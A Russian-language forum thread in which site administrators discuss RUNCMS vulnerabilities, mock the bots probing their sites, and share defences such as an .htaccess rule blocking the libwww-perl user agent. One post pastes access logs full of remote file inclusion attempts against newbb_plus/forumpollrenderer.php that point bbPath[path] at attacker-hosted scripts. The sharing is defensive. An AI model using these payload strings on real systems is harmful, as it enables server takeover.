Обзор уязвимостей RUNCMS (обсуждение)

[LARK]

Обсуждение информации из этой темы: Обзор уязвимостей RUNCMS (ссылки)

[Usama]

Там много намешано еще с самого зарождения рони... вообще бы пора прийти к какому-то знаменятелю! Либо роню продоолжать либо закрывать нафиг...

[Jurist]

Сообщение от Usama Либо роню продоолжать либо закрывать нафиг...

Э-э... я - за то чтобы продолжать!

[pan]

Usama сэр, вы сегодня не в духе ? ))
В качестве примера там сайт Зормакса, вот такая слава

[Zormax]

Сообщение от pan В качестве примера там сайт Зормакса, вот такая слава

О, крутась
Тока один хер, срабатывает защита, они о ней не знают?

ЗЫ: позырил логи инъекций, дык они бедненькие так и ломятся в ту дырку как слепые кролики, тыркаются, тыркаются, тыркаются
Что интересно 99 процентов всех атак (то бишь хакеров) сидят на Firefox

[LARK]

Сообщение от Zormax Что интересно 99 процентов всех атак (то бишь хакеров) сидят на Firefox

Ну для лиса приблуд удобных много вроде Torbutton и т.д., а User Agent менять забывают (или не считают нужным).

[Irbis]

Не знаю у кого как, а у меня ежедневно автоматически IP по этим запросам пачками блокируются. Даже смешно смотреть на эти попытки.

Сообщение от Zormax Что интересно 99 процентов всех атак (то бишь хакеров) сидят на Firefox

Давайте лису заблокируем, так как хакеры ее предпочитают Посмеёмся вместе

[Irbis]

Это только за 10 минут, IPшники давно заблокированы, а они все лезут и лезут, лезут и лезут. Смешно.

23:34:58 24.04.2008 74.86.130.136 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.805 23:35:00 24.04.2008 74.86.130.136 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.805 23:35:00 24.04.2008 74.86.130.136 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.805 23:36:39 24.04.2008 64.235.56.178 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:39 24.04.2008 64.235.56.178 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:39 24.04.2008 64.235.56.178 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:40 24.04.2008 64.235.56.178 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:40 24.04.2008 64.235.56.178 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:40 24.04.2008 64.235.56.178 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:41 24.04.2008 64.235.56.178 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:41 24.04.2008 64.235.56.178 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:36:44 24.04.2008 64.235.56.178 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://h1.ripway.com/rhowners/id.txt??? libwww-perl/5.812 23:41:54 24.04.2008 213.194.124.84 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:41:55 24.04.2008 213.194.124.84 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:41:56 24.04.2008 213.194.124.84 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:41:56 24.04.2008 213.194.124.84 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:41:57 24.04.2008 213.194.124.84 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:41:58 24.04.2008 213.194.124.84 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://iulian.pokol.hu/on.txt??????? libwww-perl/5.803 23:43:16 24.04.2008 213.178.225.70 /klub/modules/newbb_plus//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://weekly.wassla.com/modules/id.txt? libwww-perl/5.805 23:43:17 24.04.2008 213.178.225.70 //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://weekly.wassla.com/modules/id.txt? libwww-perl/5.805 23:43:18 24.04.2008 213.178.225.70 /klub/modules//modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://weekly.wassla.com/modules/id.txt?

Может на какую то накрутко пустить, жалко, столько трафа пропадает.

[LARK]

Irbis Это боты лезут, так что лучше блокировать не только IP а сразу User Agent: libwww-perl

[Zormax]

Irbis Этого бота нужно блокировать ТОЛЬКО так в htaccess:

SetEnvIfNoCase User-Agent "^libwww-perl*" block_bad_bots
Deny from env=block_bad_bots